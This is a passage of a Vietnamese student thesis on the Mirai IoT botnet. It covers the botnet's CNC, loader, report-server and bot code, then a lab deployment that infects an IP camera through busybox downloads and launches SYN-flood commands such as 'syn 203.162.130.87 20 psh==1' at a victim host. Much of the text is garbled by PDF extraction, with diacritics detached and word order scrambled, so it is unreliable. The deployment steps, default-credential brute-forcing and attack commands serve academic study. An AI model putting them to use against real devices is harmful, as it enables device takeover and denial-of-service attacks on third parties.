̀ ̀ ̀ ̃ ́ ́ ̀ ́ ́ ́ ̃ ư ̣ ́ ơ ̣ ̣ ̣ ̣
̉ S gia tăng cua băng thông tiêu dung đa tăng lên rât nhiêu s c manh cua ́ ơ botnet đê kh i đông g n song tân công DDoS lên server, lây nhiêm hang triêu v i ́ hang triêu may tinh v i cac phân mêm gian điêp va ma đôc hai khac, ăn căp d liêu ́ ̀ ́ ̀ ́ ượ ́ ơ ư ử ̣ ̣ ̣ ng l n cac th rac va tham gia vao cac click gian lân, hăm
́ nhân dang, g i sô l ́ ̀ ̣
́ ̀ ̀ ̀ ̀ doa va tông tiên. ̀ ̣
́ ̀ ́ ́ ́ ́ ́ ́ ư ơ ự ̣ ̣ ̣
̀ ́ ́ ́ ̀ ̀ ̀ ̉ ̣ ̣ ̉ ́ Botnet la môi đe doa an ninh hang đâu internet ngay nay. Hacker đang thu hut ̃ ̀ ở b i botnet do client (bot) th c hiên đăt hang tai bât c n i nao co kêt nôi. No rât de ̃ ̀ ươ i co thê khai thac lô dang đê ăn hoa hông dich vu tân công botnet va hacker la ng
́ ́ ́ ́ ́ ́ ơ ơ ở ̉ ̣ ̣ ̣ ̣ ́ hông m i môt cach nhanh h n. Botnet rât kho phat hiên b i bi chung rât năng đông,
́ ́ ́ ́ ́ ư ̉ ̣ ̉ ̣ ̉ ̣ thich ng nhanh đê trôn tranh viêc bao vê an ninh phô biêt hiên nay.
17
́ ̀ ́ ̉ ̉ ̉ ̣ ̉ ̣ ̣ ̉ ̣
̃ ̀ ̀ ư ở ̣ ̣ ̉ ̉ ̣ ̣ ̣ mang tr thanh môt phân cua botnet. Ca mang doanh nghiêp lân mang t
́ ́ ượ ̣ ̉ ̣ ̉ ̣ ̣ ̣ ̣ ́ Cac san phâm bao mât va quan tri hê thông thông tin phai ngăn chăn cac ̀ nhân cân ̀ ̀ c ngăn chăn khoi bi tân công botnet đê ngăn chăn viêc lam dung nguôn tai đ
̀ ơ ở ̣ ́ ơ nguyên c s ha tâng l n.
ấ ừ ố ị ụ 2.2.2. Mô hình t n công t ch i d ch v
ướ ấ ừ ố ị ụ ủ ộ ạ ạ 2.2.3. Xu h ng t n công t ch i d ch v c a t i ph m m ng
18
ƯƠ Ứ Ề Ồ CH NG 3. NGHIÊN C U V MÃ NGU N BOTNET MIRAI
ớ ệ ề 3.1. Gi i thi u v Botnet Mirai
ạ ượ ể ề ự ể Đây là lo i botnet không đ c xây d ng đ đi u khi n các máy tính mà
ướ ế ế ị h ng đ n các thi t b IoT (Internet of Things).
ự ệ ế ả ằ ế ị ạ Mirai th c hi n rà quét d i m ng IPv4 nh m tìm ki m các thi t b IoT. Đ
ố ư ạ ỏ ự ủ ệ ệ ả t i u hóa hi u năng rà quét c a mình thì Mirai th c hi n lo i b các d i IP nh ể ư
sau:
ượ ế ị ự ự ệ ậ Sau khi tìm đ c các thi ế t b IoT, Mirai th c hi n truy c p telnet tr c ti p
ặ ế ẽ ự ượ ệ ẩ ặ ho c n u không đ
ử ụ ủ ậ ấ ả ồ ậ c s th c hi n bruteforce m t kh u qua telnet ho c ssh. ẩ Trong mã ngu n c a Mirai cho th y Mirai có s d ng 60 tài kho n, m t kh u
ể ự ệ ấ ặ ị ư m c đ nh đ th c hi n t n công nh root:root, admin:admin1234, guest:guest…
ể ặ ậ ượ ế ị ư ộ M c dù có th truy c p thành công đ c thi t b nh ng mã đ c này l ạ ử i s
ặ ệ ủ ế ị ộ ệ ụ d ng m t l nh đ c bi ệ t c a Busybox (ti n ích trên các thi
ệ ễ ẽ ượ ế ị ượ ự đó bot s không th c hi n lây nhi m đ ế c n u thi t b không đ t b Linux nhúng) do ặ c cài đ t
busybox.
ử ụ ượ ộ ẽ ự ệ Môt khi s d ng đ ễ c busybox, mã đ c s th c hi n quá trình lây nhi m.
ệ ạ ỏ ấ ả ự ễ ệ ặ Đ c bi t sau khi lây nhi m thành công, Mirai th c hi n lo i b t
ử ụ ể ậ ặ ổ ế ị trình đang s d ng c ng 22, 23 đ ngăn ch n đăng nh p trên thi ế t c các ti n ự t b . Sau khi th c
ế ố ớ ệ ễ ộ ủ ề ể hi n lây nhi m thành công, mã đ c k t n i t ờ ệ i máy ch đi u khi n và ch l nh
ấ t n công
ệ ấ ự ụ ớ ừ ố ị ụ V i m c đích chính là th c hi n t n công t
ớ ậ ấ ỹ ừ ố ị ụ ừ ơ ả ế ử ụ s d ng t i 10 k thu t t n công t ch i d ch v t ch i d ch v do đó botnet này ằ c b n đ n nâng cao nh m
ạ ứ ấ ệ ả ấ ừ ố ị ụ đem l i hi u qu cao nh t. Trong đó, hình th c t n công t ch i d ch v ph ổ
ượ ử ụ ụ ấ ế bi n đ c áp d ng là thông qua t n công HTTP, Mirai s d ng 5 useragent khác
ệ ể ị nhau đ tránh b phát hi n.
19
ử ụ Hình 3.2. Mirai s d ng 5 useragent khác nhau (mirai/bot/table.h).
ệ ượ ộ ố ơ ế ể ả Ngoài ra, Mirai có kh năng phát hi n và v
ừ ấ ơ ả ủ ị ừ ụ ố ụ bot c b n c a các d ch v giúp ngăn ng a t n công t t qua m t s c ch ki m tra ư ị ch i d ch v nh
ặ cloudflare ho c dosarrest.
ử ụ ụ ữ ấ ặ ậ ỹ ầ Ngoài nh ng t n công thông d ng ra, Mirai s d ng 2 k thu t ít g p g n
ấ đây là t n công “DNS Water Torture” và “GRE IP Flood”.
ậ ấ ử ụ ỹ ừ ố ị ụ Hình 3.3. Mirai s d ng 10 k thu t t n công t ch i d ch v (mirai/bot/attack.h).
ầ ấ ủ 3.1.1. Thành ph n c u trúc c a Botnet Mirai
Các thành ph n:ầ
ố ớ ệ ề ạ A: Attacker có toàn quy n ra l nh đ i v i m ng botnet
ế ị ễ ộ ị ữ B: Nh ng thi t b sau khi b nhi m mã đ c.
ữ ữ ạ ườ C: CNC server gi liên l c gi a ng ạ i dùng và m ng botnet.
ề ế ế ị ớ ậ R: Report server ti p nh n và lây lan bot v các thi t b IoT m i.
ấ ừ ễ L: Loader server l y thông tin t Report server và lây nhi m malware.
20
ữ ể ạ U: Nh ng khách hàng thuê m ng botnet đ DDoS Victim.
ế ị ỗ ổ ữ V: Nh ng thi t b IoT có l h ng.
ạ ộ ủ ầ Hình 3.4. Mô hình ho t đ ng logic c a các thành ph n.
ấ ồ ồ ư ụ C u trúc mã ngu n chính g m 2 th m c chính Loader và Mirai, trong đó
ư ụ ệ ạ ụ ụ ứ ồ Loader ch a các mã ngu n ph c v cho vi c t o Report server, th m c Mirai
ồ ạ ứ ạ ch a mã ngu n t o các con Bot và t o CNC server.
ư ụ ấ ồ Hình 3.5. C u trúc th m c mã ngu n
ứ ề ể 3.1.2. Cách th c đi u khi n và lây lan Bots:
ế ố ệ K t n i CNC Server đ ra l nh:
ướ ớ ể (cid:0) B c 1: Attacker k t n i t ế ố ớ i CNC qua telnet/ssh t i ip CNC qua port
ằ ệ
23 b ng l nh cmd : “telnet
ướ ự ệ ậ ằ ượ ấ (cid:0) B c 2: Th c hi n đăng nh p b ng Account đ ở c c p b i Admin
(Attacker).
21
ướ ệ (cid:0) B c 3: S d ng l nh attack. ử ụ
Lây lan mã đ c:ộ
ướ ẽ ự ệ
ế ị ế ế ị ự ớ (cid:0) B c 1: Các con Bot trong m ng Botnet s th c thi n rà quét các ạ t b n u không ệ t b IoT m i và th c hi n brute force vào các thi thi
ự ế ượ telnet tr c ti p đ
ướ ế ị ử t b IoT, Bot g i các thông
c. (cid:0) B c 2: Sau khi brute force thành công thi ề ồ tin g m IP, Port, Username, Password v Report server.
ướ ừ ấ ể ự Report server c p cho Loader server đ th c
ậ ớ ệ ế ị ễ ộ (cid:0) B c 3: L y thông tin t ấ i thi hi n đăng nh p t t b IoT và load mã đ c lây nhi m thi ế ị t b .
ế ị ẽ ự ộ ố ứ ệ ễ ị ướ t b IoT b lây nhi m s th c hi n m t s ch c năng
ặ ướ ư ự ệ ượ c cài đ t tr ế ố c nh scan, bruteforce và th c hi n k t n i (cid:0) B c 4: Thi chính đ
ớ t i CNC server.
ầ ủ 3.2. Phân tích các thành ph n c a Botnet Mirai
ủ 3.2.1. Máy ch CNC
ứ a) Ch c năng
ư ụ ự ể ệ ệ ấ ả Th m c CNC: giám sát, ki m soát, th c hi n ra l nh Bot t n công và qu n
ề ấ lý/c p quy n cho các Account...
ạ ộ b) Nguyên lý ho t đ ng
ư ụ ượ ế ữ ằ ạ Các mã trong th m c này đ c vi
ế ố ữ ả ộ t trên ngôn ng golang nh m t o ra m t ồ ạ ổ ế CNC server có kh năng k t n i giao ti p gi a attacker và m ng botnet kh ng l .
ẽ ể ậ ừ ổ CNC server s nghe c ng 23 đ nh n telnet t ặ attacker ho c thông tin v ề
ự ề ệ ệ ấ ớ ố Bot m i và 101 th c hi n truy n các l nh t n công xu ng cho botnet.
22
ế ố ắ Hình 3.6. CNC l ng nghe k t n i (mirai/cnc/main.go).
ở ổ ươ ụ ẽ ệ Khi nghe c ng 23 ch ng trình s làm nhi m v khác nhau tùy vào d ữ
ệ ậ ượ ữ ệ ế ậ ượ li u nh n đ c. N u các d li u nh n đ c có 4 bytes, mà là “00 00 00 x” (byte
ươ ữ ệ ị ừ ộ ớ x> 0), ch ằ ng trình xác đ nh r ng d li u này là t m t Bot m i. Ng
ươ ế ố ừ ể ự ượ ạ c l i ệ ch ng trình hi u là có k t n i t Attacker qua telnet, Attacker th c hi n đăng
ể ạ ề ế ả ậ ọ ị nh p n u là có quy n qu n tr thì h có th t o các username khác v i s l ớ ố ượ ng
ụ ể ượ ử ụ Bot c th đ c phép s d ng.
23
ậ ượ ặ Hình 3.7. CNC nh n đ c thông tin là bot ho c admin (mirai/cnc/main.go).
Trong file Admin.go:
ậ ẽ ừ ậ ươ ế Dòng 39: Nh p user. N u không nh p s d ng ch ng trình.
ừ ậ Hình 3.8. Nh p username t cmd.
ế ậ ả ậ ộ ờ Dòng 47 : Nh p Password. N u không nh p sau m t kho ng th i gian đã đ ượ c
ế ậ ẽ ừ ươ thi t l p s d ng ch ng trình.
ừ ậ Hình 3.9. Nh p password t cmd.
ể Dòng 62 : Ki m tra username/password trong Database. Ở ướ b c này, hàm
ẽ ử ụ ể ể ậ TryLogin s s d ng account đ đăng nh p vào Database sau đó ki m tra
24
ồ ạ ồ ạ ẽ ệ username/password có t n t ế i hay không? N u không t n t i s hi n thông báo và
thoát.
ừ ậ Hình 3.10. Nh p password t cmd.
ậ In ra các dòng thông báo sau khi đăng nh p thành công.
ậ Hình 3.11. Thông báo đăng nh p thành công.
ụ ố ượ ẽ ể ớ Hàm func() s ki m tra liên t c s l ng Bot connect t
ớ ể ử ụ ế ị ấ V i hàm này hacker s bi ẽ ế ượ ố t đ c s thi i CNC theo Real Time. ờ t b có th s d ng t n công trong th i
ệ ạ ể đi m hi n t i.
ố ượ ể ớ Hình 3.12. Ki m tra s l ng Bot connect t i CNC.
25
ằ ạ ể ượ ử ụ ả Đo n mã nh m thi ế ậ ố ượ t l p s l ng Bot mà tài kho n có th đ c s d ng.
ử ưở ượ ạ ộ ớ ổ ồ ể Th t ng t ng v i m t m ng botnet kh ng l
ể ể ế ậ ợ trên Internet thì hacker hoàn toàn có th cho thuê đ ki m l ấ ứ ứ ậ có th đánh s p b t c th gì ư ậ i nhu n. Nh v y,
ả ẽ ạ ớ ố ượ ả ộ ng Bot mà tài kho n đó đ ượ ử c s
Hacker s t o m t tài kho n và kèm v i s l d ng.ụ
Dòng 122 và 123: Add thêm user/password vào database.
ể ử ụ ế ậ ấ ả ố Dòng 133: N u nh p 1 thì username có th s d ng t t c s Bot đang active.
ố ượ ể ậ Dòng 139: Ki m tra s l ợ ệ ng Bot nh p vào h p l ?
ợ ệ ể ờ ơ ị ấ Dòng 144: Ki m tra th i gian t n công có h p l ? (đ n v giây)
ả ấ ớ Hình 3.13. Thêm và c u hình cho tài kho n m i.
ẽ ả ề ạ ấ ụ ừ ố Hàm attackInfoLookup s tr ụ v các tham s ph c v cho t ng lo i t n công,
ậ ệ ấ ấ ươ ứ C u trúc nh p l nh t n công:
26
Hình 3.14. Hàm AttackInfoLookup.
ủ 3.2.2. Máy ch Loader
ứ a) Ch c năng
ư ụ ự ứ ể ồ Trong th m c này ch a mã ngu n đ xây d ng Loader server, máy ch
ẽ ắ ủ ủ ự ệ ệ ấ ủ ậ th c hi n vi c lây lan bots. Máy ch này s l ng l y thông tin c a hacker nh p
ủ ừ ẽ ự ệ ậ th công t STDIN. Sau đó Loader server s th c hi n đăng nh p vào các thi ế ị t b
ễ ộ IoT và lây nhi m mã đ c.
ạ ộ b) Nguyên lý ho t đ ng
ẽ ạ ể ạ ạ ế Loader server s t o các socket trên các card m ng đ t o các socket k t
ờ ồ ố ế n i đ n các IoT đ ng th i.
ế ậ Hình 3.15. Thi t l p network card cho report server (loader/main.c).
27
ạ ế ệ ằ ộ
ế ố ẵ ệ ệ ư ự ề ố
ể ề
ể ả ứ ứ ừ ề ặ ọ Ti p theo, t o các k t n i s n sàng cho vi c lây lan mã đ c b ng vi c g i ữ ế ị ẽ ử ụ t b s s d ng TFTP server ho c Wget server v và i malware t
ộ ế ự ư hàm server_create (). Nó th c hi n truy n các tham s nh ip server l u tr malware có giao th c wget hay tftp. Loader khi đi u khi n thi m t trong 2 giao th c này đ t ti n hành th c thi malware.
ở ạ ứ ộ Hình 3.16. Kh i t o server ch a mã đ c (loader/main.c).
ữ ệ ẽ ọ ẩ ầ ừ Loader server s đ c các d li u đ u vào qua chu n STDIN t bàn phím
ử ụ ạ ặ ị theo đ nh d ng “IP:Port Username:Password” s d ng vòng l p while(TRUE) đ ể
ụ ể ầ ủ ệ ằ ậ liên t c ki m tra đ u vào t ừ ườ ng i dùng. Tuy nhiên, vi c nh p th công b ng tay
ẽ ẫ ệ ả ờ ế ị ế thông tin cho Loader s d n đ n kho ng th i gian phát hi n thi
ễ ấ ả ộ ờ ị ế ị th i gian lây nhi m mã đ c b delay time gây ra kh năng m t thi ả t b và kho ng ệ t b IoT. Vi c
ượ ờ ế ắ ể ạ ừ này đã đ ụ c kh c ph c nh vi t thêm đo n mã auto chuy n thông tin t Report
server sang Loader server.
ậ ừ Hình 3.17. Nh n ip, port, user, pass t STDIN (loader/main.c).
ự ệ ướ ậ ằ Hàm worker() này th c hi n các b c đang nh p và lây lan bot b ng cách
ệ ề ệ ẵ ế ị truy n các câu l nh qua ti n ích busybox có s n trên các thi t b IoT. Busybox là
28
ữ ệ ế ể ườ ả ị ế ị ệ ti n ích đ giao ti p gi a ng i qu n tr và thi t b IoT qua dòng l nh CMD (c ụ
ể ở th đây là bashshell).
29
30
ử ụ ộ Hình 3.18. S d ng busybox login và lây mã đ c (loader/server.c).
ủ 3.2.3. Máy ch Report
ứ a) Ch c năng
ệ ế ằ ữ ắ ồ T p tin scanListen vi t b ng ngôn ng golang giúp l ng nghe các h i đáp
ừ ạ ề ế ị ớ ở m ng botnet v các thi t b IoT m i đã bruteforce thành công b i các con bots
t trên m ng.ạ
ạ ộ b) Nguyên lý ho t đ ng
ế ố ế ổ ả ử ề ừ ể ợ ế ắ L ng nghe k t n i đ n c ng 48101 đ đ i k t qu g i v t bot.
ế ố ắ ổ Hình 3.19. L ng nghe k t n i trên c ng 48101 (scanListen.go).
ể ị Thông tin thi ế ị ượ t b đ ể ử ụ c hi n th . Sau đó, có th s d ng thông tin này cung
ể ế ễ ộ ấ c p cho Loader server đ ti n hành lây nhi m mã đ c lên thi ế ị t b .
31
ể ị ế ị ượ Hình 3.20. Hi n th thông tin thi t b bruteforce đ c (scanListen.go).
32
3.2.4. Mã đ cộ
ứ a) Ch c năng
ư ụ ơ ả ự ứ ứ ệ ồ ặ Th m c bot: ch a mã ngu n bot, th c hi n các ch c năng c b n m c
ủ ễ ớ ị đ nh c a bot khi m i lây nhi m:
(cid:0) ộ n t p tin mã đ c.
ở ộ ế ị ạ t b kh i đ ng l i.
ế Ẩ ệ (cid:0) Ngăn thi (cid:0) Kill các process đang chi m c ng 22(ssh)| 23(telnet)| 80(http). ổ
(cid:0) ớ ớ ạ ế ố T o k t n i m i t i CNC.
(cid:0) Ẩ ế ạ ộ n ti n trình ho t đ ng.
ế ị ồ ử ề (cid:0) Bruteforce thi t b IoT r i g i v cho Report server.
(cid:0) ể ủ ể ờ ầ ấ ề ắ L ng nghe đi u khi n c a CNC server đ ch yêu c u t n công Victim.
ạ ộ b) Nguyên lý ho t đ ng
ẽ ự ế ệ ấ ằ ổ ẫ ủ Bot s th c hi n che d u ti n trình c a mình b ng cách thay đ i tên ng u
ậ ẫ ượ ử ụ ằ ị nhiên. Thu t toán ng u nhiên đ c s d ng b ng cách d ch bit và xor.
ế ấ Hình 3.21. Che d u ti n trình (mirai/bot/main.c).
ể ấ ở ạ ạ ấ ấ ố Kh i t o các tham s cho ki u t n công và cung c p các lo i t n công khác
ể ấ ể ự ề ọ nhau (UDP, VSE, DNS, SYN và nhi u ki u t n công DDoS khác) đ l a ch n.
33
ươ ứ ấ Hình 3.22. Các ph ng th c t n công (mirai/bot/attack.c).
ấ ả ẽ ả ở ổ ệ ế ả Kill t t c các ti n trình đang m c ng 22, 23. Vi c này s đ m b o hacker
ể ế ố ớ ả ặ ị ế ị ụ ị khác ho c qu n tr viên không th k t n i t i thi t b thông qua d ch v này.
ụ ổ ị Hình 3.23. Kill các c ng d ch v (mirai/bot/killer.c).
ế ị ư ườ ế ớ Các thi t b giám sát nh Camera th
ể ử ụ ứ ệ ẽ ệ hi u treo, không th s d ng ch c năng thì ti n ích watchdog s reset thi ấ ng liên k t v i watchdog. Khi có d u ế ị t b .
34
ặ ự ệ ộ ầ ư ậ ể ả ưở ớ Nh v y, mã đ c c n ngăn ch n s vi c đ tránh nh h ng t ạ i quá trình ho t
ộ đ ng .
ả ế ị ạ Hình 3.24. Ngăn c n thi t b reboot l i (mirai/bot/main.c).
ở ạ ệ ố ế ị ớ Kh i t o thông s cho vi c rà quét các thi t b v i IP và username,
ặ ị password m c đ nh.
ể ả ớ Hình 3.25. Tài kho n dùng đ bruteforce IoT m i (mirai/bot/scanner.c).
ả ị ỉ ượ ế ậ ể ẫ ộ ỉ ị D i đ a ch đ c thi t l p đ mã đ c scan đ a ch IP ng u nhiên trong các
d i.ả
ộ ẽ ờ ậ ư ệ ị Nh v y, mã đ c s tránh b phát hi n và cho vào spam list cũng nh firewall.
ị ỉ ế ị ớ Hình 3.26. Đ a ch bruteforce thi t b IoT m i (mirai/bot/scanner.c).
ẽ ử ế ị ượ ớ Sau khi rà quét đ c các thi
ể ắ ề ạ t b IoT m i đã brute force các bot s g i thông ồ ẽ tin v cho Report server, report server s ch y tool scanlisten đ l ng nghe h i
ừ đáp t bot.
35
ử ớ Hình 3.27. Bot g i thông tin các IoT m i đã bruteforce (mirai/bot/scanner.c).
ế ố ề ượ ẵ ở ỉ ề K t n i CNC qua tên mi n và port đ ị c ch đ nh s n, đây các tên mi n và
ề ượ ụ ở ượ ị ừ port đ u đ ụ c mã hóa b i công c “enc”. Công c này đ c biên d ch t mã
ư ụ ồ ngu n “enc.c” trong th m c “tools”.
Hình 3.28. Khai báo domain và port các server (mirai/bot/table.c).
36
ƯƠ Ự Ể CH NG 4. Ệ TRI N KHAI TH C NGHI M BOTNET MIRAI TRÊN
Ị Ế CÁC THI T B IOT
ả ự ệ 4.1. Mô t th c nghi m
ẽ ồ ự ệ Mô hình th c nghi m s g m:
ứ ủ ầ • 1 máy ch Kali linux ch a thành ph n 1>5.
IP: 203.162.130.69.
ứ ầ ạ ộ • 1 máy kali linux ch a thành ph n 6 và ch y mã đ c.mirai.dbg.
IP: 203.162.130.66.
ủ ầ • 1 máy ch windows server là thành ph n 7.
IP: 203.162.130.87.
ầ • 1 máy windows 10 là thành ph n 8.
IP: 14.177.140.96.
IP
Port 23
203.162.130.69 Number 1 2 3 4 Execute CNC Loader scanListen.go Mysql 48101 3306
Name CNC Server Loader Server Report Server Mysql Server Wget & TFTP Apache2 80 5 Server
mirai.dbg || 6 Bot 203.162.130.66 mirai.arm
7 Victim 203.162.130.87
CMD || 8 Attacker 14.177.140.96 Secure CRT
ự ệ ầ B ng ả 1. Thành ph n th c nghi m.
ử ệ ấ 4.2. Th nghi m t n công
ẽ ồ ự ể ệ ứ ớ Tri n khai th c nghi m s g m 7 b ướ ụ ể ươ c c th t ạ ng ng v i 5 giai đo n
ấ hình thành t n công.
37
ướ ở ạ B c 1. Kh i ch y CNC Server
ướ ụ ệ B c 1 có 2 nhi m v chính:
ế ố ớ ứ ề 1. K t n i t i Database. Database ch a thông tin v History, Admin bao
ố ượ ủ ồ g m Username/Password c a Admin, s l ng Max Bot mà Admin
ể ử ụ ứ ấ ị ỉ có th s d ng t n công và WhiteList ch a các đ a ch IP không đ ượ c
ấ t n công.
ờ ế ố ừ ở 2. M port 23 ch k t n i t Bot và Attacker.
ạ ở Kh i ch y:
ạ ở Hình 4.29. Kh i ch y CNC Server.
Phân tích source code:
ứ ể ớ Dòng 12 > 15: Ch a thông tin đ CNC connect t i Database.
ậ ọ Dòng 18: G i hàm đăng nh p Database.
ế ố ế ổ ắ Dòng 21 > 24: L ng nghe k t n i đ n c ng 23.
38
ủ ặ Hình 4.30. Cài đ t thông tin c a Database (cnc\main.c).
ậ Dòng 23 > 30: CNC đăng nh p Database
ậ Hình 4.31. CNC đăng nh p Database (cnc\database.go).
ướ ở ạ B c 2. Kh i ch y Report Server
ả ở ế ị ủ ờ ế M port 48101 ch k t qu scan các thi t b IoT khác c a Bot.
ạ ở Hình 4.32. Kh i ch y scanListen.
Phân tích source code:
ở Dòng 11 > 25: M port 48101
39
ờ ế ả ừ ở Hình 4.33. M port 48101 ch k t qu t Bot.
ướ ế ị B c 3. ậ Nh p thi t b IoT cho Loader lây lan Malware
ướ ụ ệ B c 3 có 2 nhi m v chính:
ể ế ị 1. ề Loader đi u khi n thi ễ t b và lây nhi m Malware.
ố ượ ể ử ề ớ 2. ị ổ Hi n th t ng s l ng v Process x lý, Connect t i Loader, thi ế ị t b
ậ IoT đăng nh p thành công, Wgets và TFTP.
ế ế ị ồ ậ Ti n hành nh p thông tin thi t b IoT g m: IP:Port Username:Password t ừ
Scanlisten vào loader.
ậ Hình 4.34. Nh p Bot cho Loader.
ế ị ự ệ Loader telnet thi t b IoT > Loader th c hi n lây lan Malware.
Phân tích:
IP Loader: 203.162.130.69
IP Bot: 61.222.7.176
40
ế ố ế ị ễ Hình 4.35. Loader k t n i thi t b IoT lây nhi m Malware.
ử ệ ớ ế ị ể ệ ằ Loader g i l nh t i thi t b IoT nh m dùng ti n ích Busybox đ download
ự và th c thi Malware.
ự ệ Hình 4.36. Loader th c hi n lây lan Malware.
41
ướ ớ B c 4. Attacker telnet t i CNC
ướ ệ ụ B c 4 có 2 nhi m v :
ế ố ề 1. ể K t n i và đi u khi n CNC theo Realtime.
ố ượ 2. Update s l ng Bot connect.
ờ Sau khi lây Malware thành công ở ướ b c 3 thì gi ể ế đây Attacker đã có th k t
ể ề ố ớ n i t i CNC và dùng CNC đi u khi n Bot.
ở ẽ ử ụ Attacker ể ề đây có vai trò là Admin. Attacker s s d ng CMD đ đi u
ệ ể ớ khi n CNC và ra l nh t i Bot thông qua CNC.
ớ Hình 4.37. Attacker telnet t i CNC.
ế ố ớ ế ố ế ấ Attacker k t n i t i CNC và đã th y có 1 Bot k t n i đ n CNC.
ằ Phân tích b ng wireshark:
42
ậ Hình 4.38. Attacker đăng nh p CNC.
IP Attacker: 14.177.140.96
IP CNC: 203.162.130.69
ậ Attacker telnet và đăng nh p CNC.
ử ụ ậ Attacker s d ng user/pass là hacker/hacker và đã đăng nh p công.
ấ ươ ứ ả ậ ớ Sau khi follow tcp ta th y string t ng ng v i tài kho n đăng nh p là
ề ố ượ ớ hacker/hacker và thông tin v s l ng Bot connect t i CNC.
Phân tích source code:
43
ế ố ớ ổ ể Hình 4.39. Ki m tra k t n i t i c ng 23 là Bot hay Admin (cnc/main.go).
ế ậ ượ Dòng 66: N u nh n đ c 4 bytes \x00\x00\x00\x01 => Bot connect CNC.
Ng ượ ạ c l i, Admin connect CNC.
ướ ể ạ B c 5. Ki m tra tr ng thái Loader Server, Bot, Report Server
ủ ể ạ ễ Ki m tra tr ng thái c a Loader Server, Bot, Report Server sau khi lây nhi m
Malware.
1. Loader Server:
44
ế ố ể ị Hình 4.40. Loader hi n th Bot k t n i thành công.
ư ậ ế ả Nh v y Bot có IP 61.222.7.176, port 23, tài kho n admin/1111, ki n trúc
arm7.
ệ ể ử ụ ệ ệ ặ Và đ c bi t Bot có ti n ích Busybox và có th s d ng l nh Wget. Wget
ư ừ nh đã nói t ừ ướ tr c giúp thi ế ị ả t b t i Malware t Wget Server.
2. Bot:
45
ế ị Hình 4.41. Thông tin Bot scan thi t b khác.
ế ị ễ Ngay sau khi lây nhi m Malware vào thi ẽ t b thì Bot s :
ự ế ằ ở T kill các ti n trình đang m port 23 trên Bot nh m không cho b t ấ
ể ậ ế ị ỳ k ai có th truy c p vào thi t b qua port 23.
ả Phân gi ề i tên mi n CNC
ế ố ớ K t n i t i CNC
ự ộ ế ị ồ ờ ữ ế ố ớ T đ ng bruteforce thi t b khác và đ ng th i gi k t n i v i CNC.
ử ế ả G i k t qu cho Report Server
3. Report Server:
46
ế ị Hình 4.42. Thông tin thi t b mà Bot bruteforce thành công.
ề ể ị ế ị Hi n th thông tin v thi t b mà Bot bruteforce thành công.
ỉ ừ ư ở ứ L u ý: trong Source code Mirai, Bot ch d ng ư m c bruteforce mà ch a
ể ế ị ể ề ệ ệ ki m tra các đi u ki n đ lây Malware trên thi
ế ị ề ể ể ợ ơ ớ t b nên vi c này hoàn toàn không ệ t b phù h p đ lây Bot. Loader server m i là n i ki m tra đi u ki n có nghĩa thi
ứ ầ ả ệ ề ớ và lây Malware ch không ph i scanListen. C n phân bi t đi u này, đây m i ch ỉ
ệ ầ ư ề ư ủ là đi u ki n c n nh ng ch a đ .
ướ ấ B c 6. Attacker t n công Victim
ướ ệ ụ B c 6 có 3 nhi m v :
ố ượ ề ể ậ ị ể 1. Hi n th thông tin v user đăng nh p và s l ng Bot có th attack.
ậ ệ 2. Nh p l nh attack
ớ 3. ử ệ G i l nh t i CNC
ậ ệ ấ ạ ị Nh p l nh t n công theo đ nh d ng :
ụ Ví d : syn 203.162.130.66 30 psh==1
syn 203.162.130.66 3600 ack==1
ấ ậ ệ Hình 4.43. Nh p l nh t n công.
47
ẽ ượ ệ ử ẽ ượ ử ư L nh s đ c Attacker g i s đ c g i nh sau:
ậ ệ ấ Attacker nh p l nh t n công qua CMD > CNC > Bot > Victim
ệ ấ Hình 4.44. L nh hacker dùng t n công.
IP Attacker: 14.177.140.96
IP CNC: 203.162.130.69
IP Victim: 203.162.130.87
Command: syn 203.162.130.87 20 psh==1
ấ ả ằ Attacker t n công Victim b ng Syn Flood và có c Flag Push trong vòng
20s.
48
ướ ể ế ả B c 7. Ki m tra k t qu
49
ế ị ể ề ế Hình 4.45. Thi ị t b IoT là IP Camera b chi m quy n ki m soát.
ế ư ượ ấ ị Hình 4.46. Victim b Attacker t n công khi n l u l ng tăng cao.
ụ ử ấ Bot liên t c g i gói tin t n công Victim trong vòng 20s. Tuy nhiên, s l ố ượ ng
ị ấ ớ ả ứ gói tin Victim ph i h ng ch u r t l n.
50
Ậ Ế K T LU N
ố ươ ể ệ ủ ồ ượ ằ ữ ặ B n ch ng c a đ án đã th hi n đ ụ c r ng nh ng m c tiêu đ t ra khi
ạ ượ ự ề ệ ồ th c hi n đ án đ u đã đ t đ ụ ể c. C th :
ươ ớ ượ ổ ề ươ Ch ng 1 đã gi ệ i thi u đ c t ng quan v Internet of Things. Ch ng này
ằ ướ ễ ủ ụ ữ ứ ỉ cũng đã ch ra r ng ớ v i xu h ồ ự ng và nh ng ng d ng th c ti n c a IoT luôn t n
ạ ề ẩ ữ ể ể ố ớ ố t i nh ng m i nguy hi m ti m n. Trong đó, m i nguy hi m l n và đang hot
ấ nh t là Botnet IoT.
ươ ươ ụ ể ơ ề ự ể ộ Ch ố ế ng 2 n i ti p ch ủ ấ ng m t nói c th h n v s nguy hi m c a t n
ừ ố ị ụ ướ ử ụ ấ công t ch i d ch v và xu h ng s d ng Botnet IoT vào t n công DDoS đang là
ộ ấ ạ ỉ ươ ế ắ ạ kim ch nam cho các cu c t n công m ng mà hacker đ ng đ i đang nh m đ n.
ươ ầ ượ ủ ầ ồ Ch ng 3 l n l
ờ ụ ể ồ ưở ủ ự ậ ỹ Đ ng th i c th hóa các k thu t và ý t ấ t xem xét các thành ph n và c u trúc c a mã ngu n Mirai. ả ng xây d ng Botnet Mirai c a tác gi
ự ữ ự ạ ỉ thông qua s phân tích các đo n mã. Theo đó, s phân tích đã ch ra nh ng nh ượ c
ữ ế ể ồ ượ ượ đi m còn thi u sót trong mã ngu n. Nh ng nh ể c đi m đ ượ ộ c l rõ đã đ c em
ụ ể ắ tri n khai kh c ph c.
ươ ự ệ ả ự ế ự Trong ch ng 4, th c nghi m đã mô t quá trình xây d ng th c t trên h ệ
ữ ố ụ ể ể ầ th ng và nh ng thi t b th t
ồ ế ợ ể ể ươ ừ ơ ngu n, cách chúng k t h p và t ế ị ậ . Mô hình tri n khai đã c th hóa các thành ph n mã ề ệ ng tác. T đó, ai cũng có th hi u rõ h n v h
ệ ố ế ớ ố th ng Botnet Mirai nói riêng và h th ng Botnet trên th gi i nói chung.
ề ậ ẫ ướ ế ồ ớ ộ ố ấ Dù v y, v n còn m t s v n đ liên quan. Tr c h t, đ án này m i ch đ ỉ ề
ệ ử ụ ệ ứ ư ụ ế ỗ ổ ậ c p đ n vi c s d ng bruteforce mà ch a đi sâu vào vi c ng d ng l
